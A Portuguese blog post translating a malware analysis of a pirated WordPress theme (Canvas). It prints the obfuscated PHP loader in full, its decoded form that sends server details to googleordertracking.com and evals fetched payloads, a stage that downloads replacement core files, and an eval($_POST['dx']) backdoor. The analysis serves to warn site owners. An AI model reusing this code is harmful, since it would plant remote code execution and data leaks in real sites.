16.03.2016
Segurança, WordPress

Por que você não deveria usar temas pirateados em WordPress

Tempos atrás, trabalhei numa agência na qual o foco era o desenvolvimento de sites. Com o intuito de maximizar a margem de lucros, quando fechávamos algum projeto, éramos instruídos a buscar temas premium para WordPress em portais que distribuíam esses temas gratuitamente, em outras palavras, pirateavam os temas. Se desconsideramos por um momento o fato de ser profissionalmente antiético, será que conseguimos encontrar outras desvantagens ao utilizar temas pirateados?

Sempre desconfiei de serviços gratuitos, pois como diria uma citação qualquer que achei na internet tempos atrás, “Quando um produto muito bom é disponibilizado gratuitamente, desconfie, pois o produto pode ser você”.

Pensando nisso decidi baixar alguns temas “piratas” e ir em busca de scripts maliciosos. Para a minha surpresa, durante a pesquisa encontrei o artigo de um desenvolvedor chamado Samuel Parkinson que já havia feito esse trabalho, abaixo segue a tradução com adaptações do artigo:

Escolha do tema

Eu escolhi um tema popular chamado Canvas, criado pela WooThemes. Vou tentar fazer o download grátis e procurar por scripts maliciosos. A busca pelo tema, como vocês podem ver abaixo, demonstra o quão fácil é conseguir uma cópia de temas pagos do WordPress de forma ilegal.

9QGp6Ll

Eu optei por utilizar o tema do terceiro resultado de busca, pois ele oferecia uma versão mais recente do tema.

Uma análise dos arquivos do tema feita utilizando a ferramenta VirusTotal pode ser visualizada aqui: WooThemes.rar, observe que o software indica que o tema é seguro e pode ser utilizado.

A Análise

Depois de testar todos os arquivos do tema com um script que procura pelo uso das funções eval e base64_decode (que eu acredito serem os métodos mais comuns para ofuscar código php malicioso), eu encontrei a função base64_decode sendo usada algumas vezes.

O código de preparação (ou Payload #1)

No arquivo /functions/admin-functions.php do WordPress a partir da linha 1021 eu encontrei o seguinte trecho de código:

eval(base64_decode(gzuncompress(base64_decode('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'))));

Depois de decodificá-lo utilizando uma ferramenta chamada phpdecoder, o seguinte código foi visualizado:


 
if( !function_exists('wpfc_footer_credits_global') )
{
	function wpfc_footer_credits_global()
	{
		error_reporting(0);
 
		$request_option_key = 'wpfc_default_post';
		$payload_option_key = 'wpfc_default_types';
 
		$host1 = 'http://googleordertracking.com';
		$host2 = 'http://autoupdatesystem.com';
 
		try 
		{
			$specific_days = array('1','7','15','21','29');
			$request_info = array();
			$day_of_month = date("d");
 
			if( !get_option($request_option_key) )
			{ 
				$request_info['t'] = date("d");
				$request_info['r'] = '0';
 
				add_option($request_option_key, json_encode($request_info));
			}
			else
			{
				$request_info = json_decode(get_option($request_option_key));
 
				$temp_array = array();
 
				foreach ($request_info as $key => $value) $temp_array[$key] = $value;
 
				$request_info = $temp_array;
			}
 
			if( !get_option($payload_option_key) )
			{
				add_option($payload_option_key, '');
			}
 
			if ( $request_info['r'] != '1' && $request_info['t'] == $day_of_month && in_array($day_of_month, $specific_days) )
			{ 
				if ( function_exists('curl_init') )
				{ 
					$post["d"] = strrev(base64_encode(gzcompress($_SERVER['SERVER_NAME'])));
					$post["p"] = strrev(base64_encode(gzcompress(dirname(__FILE__))));
					$post["a"] = "wp";
 
					$curl = curl_init();
 
					curl_setopt($curl, CURLOPT_URL, $host1."/curllink/");
					curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
					curl_setopt($curl, CURLOPT_USERAGENT, "google");
					curl_setopt($curl, CURLOPT_TIMEOUT, 60);
					curl_setopt($curl, CURLOPT_POST, true);
					curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
 
					$payload = curl_exec($curl);
					curl_close($curl);
				} 
				else 
				{ 
					$url = $host1.'/getlink/?u=' . $_SERVER['SERVER_NAME'];
 
					$payload = file_get_contents($url); 
				} 
 
				if( $payload == false || empty($payload) )
				{ 
					$url = $host2 . '/getlink/?u=' . $_SERVER['SERVER_NAME'];
 
					$payload = file_get_contents($url);
				}
 
				$request_info['t'] = $day_of_month;
				$request_info['r'] = '1';
 
				update_option($request_option_key, json_encode($request_info));
				update_option($payload_option_key, $payload);
			}
			else
			{ 
				$payload = get_option($payload_option_key);
			}
 
			eval(gzuncompress(base64_decode($payload)));
		}
		catch (Exception $e) { }
	}
 
	add_action('wp_footer', 'wpfc_footer_credits_global');
}

Este é um script simples que tenta se conectar as urls googleordertracking.com e utoupdatesystem.com para fazer o download de um corpo de dados (payload).

Primeiramente, se a função curl estiver disponível o script vai transmitir informações que incluem:

  • O valor armazenado em $_SERVER[“SERVER_NAME”];
  • A localização do script no servidor
  • A string “wp” (de WordPress eu presumo)

Essas informações são enviadas somente para o primeiro endereço com o qual o script tenta se conectar, googleordertracking.com

Se a função curl não estiver disponível, o script irá utlizar file_get_contents() (que é um método para ler o conteúdo de um arquivo para uma string) no primeiro host e fazer uma requisição GET que inclui o valor SERVER_NAME.

Finalmente, se o corpo de dados não for transmitido no primeiro host (Utilizando as requisições POST ou GET), o script vai tentar fazer a mesma coisa no segundo servidor com o qual faz conexão.

O script então armazena numa opção do WordPress um array com a data da requisição e um par chave-valor “r” = 1 . Acredito que esse valor seja para indicar que a requisição foi realizada com sucesso.

O script também salva o download do corpo de dados que foi feito de uma das duas urls em outro lugar do WordPress, usando a chave “wpfc_default_types”.

Estranhamente o script só tentará  fazer os downloads dos corpos de dados nas urls indicadas anteriormente, nas seguintes condições:

  • Caso o script não tenha tentado fazer o download do corpo de dados anteriormente
  • O dia do mês salvo em “wpfc_default_types” corresponda ao dia atual
  • O dia atual seja o dia 1, 7, 15, 21, ou 29

Finalmente o script valida o corpo de dados que foi armazenado (usando método eval do php). A função do script malicioso é executada quando a função wp_footer() do wordpress é executada, ou seja, ela será executada sempre que qualquer página do seu tema for carregada.

Payload #2

Depois de emular a requisição que o script faz, é hora do corpo de dados número dois.

eval(gzuncompress(base64_decode(eJzLTNNQzCyOT8vMSdVQLy/QzclPTEkt0ivIKFDX1Kzm5VIAAhWQrIKtApq8NVS2tCgHJJlRUlJgpa+fnp+fnpOaXwRUVVKUmJydmZeul5yfq58MVJaTmZetjzCkpKIEZgjIhviC0pL45Py8ktS8kmINsKU6YPH0VGRxoDmamkBt2N1GBZdR6K5aXi4Aj6RvaA==)));

Que depois de ser decodificado é visualizado da seguinte forma:

if( !is_file('wp-loader.php') )
{
    $file = 'wp-loader.php';
    $url = 'http://googleordertracking.com/curllink/wp-loader.txt';

    file_put_contents($file, file_get_contents($url));

    $file = 'wp-load.php';
    $url = 'http://googleordertracking.com/curllink/wp-load.txt';

    file_put_contents($file, file_get_contents($url));
}

É interessante notar que o servidor remoto não parece verificar se o download do corpo de dados foi feito em algum dos dias definidos no primeiro script.

Lembre-se que esse corpo de dados e validado (usando eval()) pelo primeiro script, o que significa que os dois arquivos nesse corpo de dados são ambos salvos no sistema.

Payload #3 (e 4…)

O segundo arquivo que é baixado no download tem outro trecho de código codificado (ou ofuscado se preferirem) que corresponde ao primeiro corpo de dados (payload #1). Esse código sobrescreve alguns arquivos importantes (core files) do WordPress. Ao substituir esse arquivo o script assegura que a instalação do WordPress permanecerá infectada mesmo depois que o tema pirata for desinstalado. Ou seja, uma vez instalado, o WordPress como um todo ficará suscetível a ataques.

Tentando esconder o código ofuscado, o autor desse script deu uma grande tabulação antes da linha de código utilizando o seu editor. Repare que aqui existe um cuidado para que o script malicioso passe despercebido.

O primeiro arquivo wp-loader.php que é realmente interessante. Ele usa um nome semelhante ao de outro arquivo na tentativa de escondê-lo. O arquivo contém o seguinte código na linha 23:

error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); if(isset($_POST['dx'])) eval($_POST['dx']); die;

O trecho responsável pelo dano é o seguinte:

if(isset($_POST['dx'])) eval($_POST['dx']);

A função eval nessa linha combinada com valores não validados na super global $_POST , permite que por acesso remoto qualquer pessoa possa inserir código PHP no servidor do seu blog, site, portal… Isso pode rapidamente te levar a ter um servidor completamente comprometido em pouco tempo.

O resto do script depois do comando “die”, contém a cópia de scripts que fazem parte do próprio WordPress, mas aqui não tem função nem executam absolutamente nada. Seu único objetivo é distrair o desenvolvedor que estiver olhando esse código.

Em resumo

  1. O malware faz download de corpo de dados (ou payload) de um ou dois hosts diferentes
    Essa requisição fica armazenada, dessa forma eles podem se certificar a quais sistemas eles tem acesso
  2. O segundo corpo de dados faz o download e salva dois arquivos maliciosos, wp-load.php e wp-loader.php
  3. Ao sobrescrever o arquivo wp-load.php colocando trechos de código próprio, o hacker garante que a instalação do wordpress continuará infetada mesmo que o tema seja alterado
  4. wp-loader.php será usado para execução de código remoto

Conclusão

É sensato presumir que muitos outros temas pirateados tem malwares semelhantes a esse.

Para se manter seguro use os canais oficiais de distribuição de temas e de instalação do próprio WordPress.

Desabilitar funções e métodos que não são usados na sua aplicação ou site também pode ser uma boa ideia. Veja essa resposta no Stack Overflow para ter uma ideia de como fazer isso usando PHP.

No caso desse script em específico, uma forma de conseguir pará-lo seria configurar o trecho allow_url_fopen para “OFF” no seu arquivo php.ini . Dessa forma, qualquer código que utilize a função fopen do PHP, como por exemplo file_get_contents(), só podem abrir arquivos no sistema local, veja a documentação aqui.

Esse artigo é uma tradução com algumas adaptações e foi originalmente postado no site samp.im. Agradecimentos especiais ao Samuel Parkinson por ter escrito um artigo tão completo, colaborando dessa forma com toda a comunidade.



comentários matidos por Disqus

Luis Felipe Lino

Design, Desenvolvimento Web, UX e cafeína.


Deseja fazer um projeto?

Nós podemos te ajudar com expertise em diversas disciplinas, seja você uma agência ou um empreendedor.

Peças gráficas, arquitetura da informação, design de interface para sites e aplicativos, código front-end de alta performance, design responsivo, integração com WordPress, projetos fotográficos e gerenciamento de redes sociais são alguns dos serviços que podemos oferecer.

Também prestamos consultoria para quem deseja melhorar resultados no meio digital. Muitas vezes uma empresa dá os primeiros passos na internet, mas não consegue alcançar seu público alvo por falta de conhecimento especializado. Podemos fazer uma análise do seu site e dos processos adotados para alcançar seu cliente, identificar falhas, para então corrigirmos e alavancar os resultados do seu negócio.

Entre em contato. Teremos prazer em atendê-lo.


(61)9970-0121

contato@pixelzero.com.br